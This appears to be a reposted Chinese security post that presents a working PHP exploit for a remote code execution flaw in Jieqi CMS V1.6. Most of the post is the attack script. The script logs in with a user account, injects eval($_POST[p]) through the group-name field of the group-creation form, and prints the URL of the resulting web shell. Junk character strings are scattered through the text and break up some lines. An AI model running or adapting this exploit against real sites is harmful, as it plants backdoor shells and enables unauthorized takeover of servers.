Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。

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该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
9 g8 k6 _% w8 u1 N+ k5 S 需要有一个能创建圈子的用户。

<?php

print_r('
5 N! X1 l. e9 D8 c: ^' l6 s7 F+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
'); /**
6 C$ n& C) ]2 _1 W1 l' a: k1 R! i( F * works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
4 ?0 `, N% z4 b7 l0 H4 ]7 eUsage: php '.$argv[0].' host path username
  _0 Q+ \* g2 O; Z2 _host:      target server (ip/hostname)
" J! d. _/ H" V  M: q" @5 r/ Spath:      path to jieqicms
uasename:  a username who can create group
& h8 z/ r0 v+ U# K, W8 H! \Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
3 U" v# O7 Q. R+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
. |5 H7 J% Q( t0 Z- I! j6 DContent-Disposition: form-data; name="gname"

" i3 U! e0 `: Q; r$ ]9 I3 p* A'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
+ Z& R( S  z; `$ x! |+ ^$ [. nContent-Disposition: form-data; name="gcatid"

1
: m. d* R: H: o! y. Q$ l( U-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"
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3 V7 }: h- s- m7 w( F& \1
-----------------------------23281168279961
" a  x; ^) |/ C% V7 F- KContent-Disposition: form-data; name="gbrief"

1
-----------------------------23281168279961--
5 E; c6 r$ y4 U! W+ L: O" Y'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
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6 h# D/ a" u( y  P# K- |, [( s8 Qpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;